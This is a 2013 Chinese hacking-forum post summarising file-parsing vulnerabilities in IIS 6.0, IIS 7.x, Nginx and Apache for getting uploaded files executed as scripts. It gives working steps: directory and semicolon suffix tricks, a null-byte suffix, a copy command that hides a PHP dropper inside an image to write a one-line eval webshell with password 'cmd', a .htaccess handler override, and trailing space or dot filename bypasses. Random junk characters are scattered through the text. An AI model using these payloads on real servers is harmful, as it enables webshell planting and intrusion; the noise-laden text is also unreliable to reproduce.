找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2736|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Author : laterain+ ~" ~& Q, V& m- S" p
[+]IIS6.0' @' m5 [$ J! ~0 X0 [( t

$ p) g/ |, N; a( Z5 |# F* x" Z目录解析:/xx.asp/xx.jpg 7 M5 G8 N8 N) C3 M% W
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码4 y/ ]  Q' v' h; S* i! U/ I  ?
IIS6.0 会将 xx.jpg 解析为 asp 文件。9 o7 T) S' G2 W1 M8 j: Y+ K7 B
后缀解析:/xx.asp;.jpg     " b+ V; |6 l& Q! K
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。8 e' `0 Z) g& `8 N7 w# w" G! p. V
默认解析:/xx.asa' z5 L1 ]- N4 l; I9 O# d$ H
         /xx.cer
5 n/ w: l7 ~, u( M- @         /xx.cdx% [+ n: `1 |4 o/ {8 e- A) d
IIS6.0 默认的可执行文件除了 asp 还包含这三种5 Z5 q" z+ c) l6 h
此处可联系利用目录解析漏洞 1 `. p8 x% M; T8 _! v
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
$ H, U% ?7 g* \( v* G, u9 o3 D6 i[+]IIS 7.0/IIS 7.5/Nginx <0.8.037 O2 n7 x& S& V) [( K$ @% r

6 @5 @3 y" F8 [) P' U7 `$ P+ ^" z IIS 7.0/IIS 7.5/Nginx <0.8.03
2 C0 w1 T' f0 @" e1 l9 |; L1 K 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面. Z4 g. o& o$ K$ i* K5 x" \# t
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。# g! e/ E9 {. o$ s$ Z. B2 L
常用利用方法:; o: v5 ^+ c* k$ I/ x/ U' ]: J
将一张图和一个写入后门代码的文本文件合并将恶意文本
. T6 A* y6 o% Y* x 写入图片的二进制代码之后,避免破坏图片文件头和尾0 K' \! |# w5 Z( X9 u
如:% K3 v+ g& z; t+ _
copy xx.jpg /b + yy.txt/a xy.jpg* ^# A/ y& m  [4 y- v! i
#########################################################
! x5 c& T) T4 f% ~) W! \- X# U /b 即二进制[binary]模式
- ~1 v( q% h8 `% `% { /a 即ascii模式
1 X' R& `0 r$ s+ K8 } xx.jpg 正常图片文件) s2 x& k' f! V0 w# ]
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
$ R: W  J! y5 e! @ '<?php eval($_POST[cmd])?>');?>% A$ a, j0 N$ c
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
( u1 z- j$ D  X: v2 p! F- ^( G 为shell.php的文件: i1 J" j0 l  M5 ^! [" p# J
###########################################################& f7 }) N9 I; p
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
$ c0 |5 J' B0 F7 Y- _( {' Y: b+ O3 E6 f 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
/ `# A& {/ g2 F3 L) {& ?, m# _ 密码 cmd; D5 J' c; [- Q$ U5 a* V, B0 s  C
[+]Nginx <0.8.03; F! k7 y6 r. I/ W6 I. }7 G- m/ C

/ L3 H) k& e1 s- v/ ?: N2 ? 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
! ^8 s7 E8 q, [ 在一个文件路径(/xx.jpg)后面加上%00.php* u' \- H6 [" }
会将 /xx.jpg%00.php 解析为 php 文件。
# H: ?, X  u. E) H, n0 q- |+ A: Q0 G[+]Apache<0.8.03- R; G% h* n5 Y! w

  f/ a, ^- @) f8 t/ F  f( U 后缀解析:test.php.x1.x2.x3: ~3 H% b4 Y4 `
Apache将从右至左开始判断后缀,若x3非可识别后缀,) r7 P6 y0 F! m2 G- Y
再判断x2,直到找到可识别后缀为止,然后将该可识别7 D$ c9 R' U0 Z  T7 s( b0 @, \
后缀进解析test.php.x1.x2.x3 则会被解析为php  O  f- S  c! |) Y
经验之谈:php|php3|phtml 多可被Apache解析。
8 l, r9 h$ q* `[+]其他一些可利用的! ?1 B9 [1 i$ y! r- W

  |8 \- C' ~7 F% ^在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
8 L: I1 Z6 n( H  d% _9 L- o+ N8 i  x若这样命名,windows会默认除去空格或点,这也是可以被利用的!
2 `% Y  o8 {/ c! D, F# Y, H5 y& p在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
' J$ Q0 R3 r0 P% W# k或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可3 j! ?1 h5 H6 P: l$ ?! J( o  s
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。* y+ y+ L; z+ D" H3 l9 b
{Linux主机中不行,Linux允许这类文件存在}; X5 ?$ N2 N2 H; K$ J: n% S
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
: ~$ \3 G( G$ x; I3 U6 o3 c+ Y的,当初我并不知道),且可以被上传,那可以尝试在
6 l. V0 N8 F* m, \# K# s.htaccess中写入:
+ l' N" c$ r; b! p2 `<FilesMatch “shell.jpg”> - {2 H9 r) [5 t0 Y- }6 E; q7 Y
SetHandler application/x-httpd-php
; V4 t; D  E; [</FilesMatch>
9 |3 ^/ i) c3 Nshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件& N% Q/ s, s# H2 A
[+]错误修改5 {& P- C3 Y' l# J* W

3 l/ e& ?: i8 [/ M0 M/ U" S在 IIS 6.0 下可解析 /xx.asp:.jpg
8 G; S2 E$ U& }' ?# x; k{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
9 D- s; U6 v. M  H剩下/xx.asp}修改:$ b0 _- f5 P" f) l
先谢谢核攻击的提醒
- r/ q" s* U% Q: d  X当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
3 }1 ]( @- u/ n  V0 p! E8 N里是没有任何内容的,因为。。不好解释 大家自己看
( E8 m& C! ?5 `  F$ ^http://lcx.cc/?i=2448
+ m; l% F; M/ c$ Dhttp://baike.baidu.com/view/3619593.htm
0 H  w0 s  k- I' b' L/ z4 k; X  G+ [' b# v' M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表